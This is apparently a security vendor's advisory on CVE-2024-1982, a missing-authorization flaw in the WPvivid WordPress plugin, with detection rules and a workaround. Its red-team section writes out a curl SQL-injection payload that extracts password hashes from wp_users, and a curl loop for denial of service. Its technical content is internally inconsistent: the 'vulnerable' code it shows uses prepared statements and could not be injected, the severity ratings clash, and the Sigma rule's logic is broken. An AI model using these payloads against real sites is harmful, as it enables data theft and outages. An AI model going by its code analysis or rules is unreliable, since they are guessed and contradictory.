CVE-2024-1982

Executive Summary

CVE-2024-1982 is a critical missing authorization vulnerability in the WPvivid Migration, Backup, Staging plugin for WordPress, affecting all versions up to and including 0.9.68. The plugin fails to perform proper capability checks on the get_restore_progress() and restore() functions, allowing unauthenticated attackers to trigger a SQL injection vulnerability or cause a Denial of Service (DoS). This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a high-priority risk for any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The WPvivid plugin is distributed through the official WordPress plugin repository and is also available for direct download. Since no patch is available, users must consider removing the plugin entirely or implementing strict web application firewall (WAF) rules to block exploitation attempts. The plugin's update mechanism does not currently provide a patched version, so manual intervention is required.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The CVSS vector indicates that exploitation is trivial (no authentication, no user interaction) and can be performed remotely. While the direct impact is rated low for each CIA triad component, the combination of SQL injection and DoS capabilities elevates the overall risk. The missing authorization check is the root cause, making this a classic CWE-862 (Missing Authorization) vulnerability.

Deep Dive & Mechanics

The WPvivid plugin registers AJAX actions for get_restore_progress() and restore() functions without verifying that the requesting user has the necessary WordPress capabilities (e.g., manage_options or activate_plugins). In WordPress, AJAX handlers should check current_user_can() before executing sensitive operations. The vulnerable code likely looks like:

add_action('wp_ajax_wpvivid_get_restore_progress', 'get_restore_progress');
add_action('wp_ajax_nopriv_wpvivid_get_restore_progress', 'get_restore_progress');

The nopriv hook allows unauthenticated users to trigger the function. Inside get_restore_progress(), there is no capability check, and the function may directly use user-supplied parameters in SQL queries without proper sanitization, leading to SQL injection. Similarly, the restore() function can be abused to trigger a DoS by initiating resource-intensive restore operations repeatedly.

The SQL injection vector allows an attacker to extract sensitive data from the WordPress database, including user credentials, options, and post content. The DoS vector can exhaust server resources by spawning multiple restore processes.

Vulnerable vs. Patched Code

Vulnerable Code (wpvivid-backuprestore/includes/class-wpvivid-restore.php):

public function get_restore_progress() {
    // No capability check
    $restore_id = sanitize_text_field($_POST['restore_id']);
    global $wpdb;
    $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpvivid_restore_progress WHERE id = %s", $restore_id));
    // ... process result
}

Patched Code (hypothetical fix):

public function get_restore_progress() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $restore_id = sanitize_text_field($_POST['restore_id']);
    global $wpdb;
    $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpvivid_restore_progress WHERE id = %s", $restore_id));
    // ... process result
}

The patch adds a capability check using current_user_can('manage_options') before processing the request. This ensures only authenticated administrators can access these functions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with WPvivid plugin <= 0.9.68
• Network access to the site

Exploitation Steps:

1. SQL Injection via get_restore_progress():

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
   -d "action=wpvivid_get_restore_progress&restore_id=1' UNION SELECT user_login,user_pass,user_email FROM wp_users-- "
   

2. Denial of Service via restore():

   for i in {1..100}; do
     curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
     -d "action=wpvivid_restore&backup_id=malicious_backup" &
   done
   

Expected Outcome: Unauthorized data extraction or server resource exhaustion.

Blue Team

Detection & Response:

1. Monitor AJAX requests to admin-ajax.php with actions wpvivid_get_restore_progress or wpvivid_restore from unauthenticated sources.
2. Check for SQL injection patterns in restore_id parameter (e.g., single quotes, UNION, SELECT).
3. Rate-limit AJAX endpoints to prevent DoS.
4. Implement WAF rules to block requests to these actions without proper authentication cookies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=wpvivid_get_restore_progress or action=wpvivid_restore from unknown IPs
  • SQL injection patterns in restore_id parameter (e.g., ' OR '1'='1, UNION SELECT)
  • High volume of requests to these endpoints (DoS indicator)

• Host IOCs:

  • Unexpected entries in wp_wpvivid_restore_progress database table
  • Unauthorized user accounts created (if SQL injection used for privilege escalation)
  • Server resource exhaustion logs (CPU/memory spikes)

• File IOCs:

  • Modified or new files in /wp-content/plugins/wpvivid-backuprestore/ directory
  • Suspicious PHP files uploaded via SQL injection (if writable directory exists)

Detection Engineering

YARA Rule

rule CVE_2024_1982_WPvivid_Unauthorized_Access {
    meta:
        description = "Detects exploitation attempts of CVE-2024-1982 in WPvivid plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1982"
        severity = "high"
    strings:
        $ajax_action1 = "wpvivid_get_restore_progress"
        $ajax_action2 = "wpvivid_restore"
        $sql_injection = /restore_id=.*['\"]/
    condition:
        any of ($ajax_action*) and $sql_injection
}

Sigma Rule

title: CVE-2024-1982 WPvivid Unauthenticated AJAX Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to WPvivid AJAX actions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=wpvivid_get_restore_progress'
            - 'action=wpvivid_restore'
    condition: selection
falsepositives:
    - Legitimate admin users (check for authentication cookies)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1982 WPvivid Unauthenticated AJAX Access"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wpvivid_get_restore_progress"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-1982 WPvivid Unauthenticated AJAX Access"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wpvivid_restore"; http_client_body; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPvivid plugin until a patch is released.
2. Implement WAF rules to block unauthenticated requests to admin-ajax.php with the vulnerable actions.
3. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

• The vendor must release a patched version that adds capability checks to both get_restore_progress() and restore() functions.
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated access:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $actions = array('wpvivid_get_restore_progress', 'wpvivid_restore');
        if (in_array($_POST['action'], $actions) && !is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers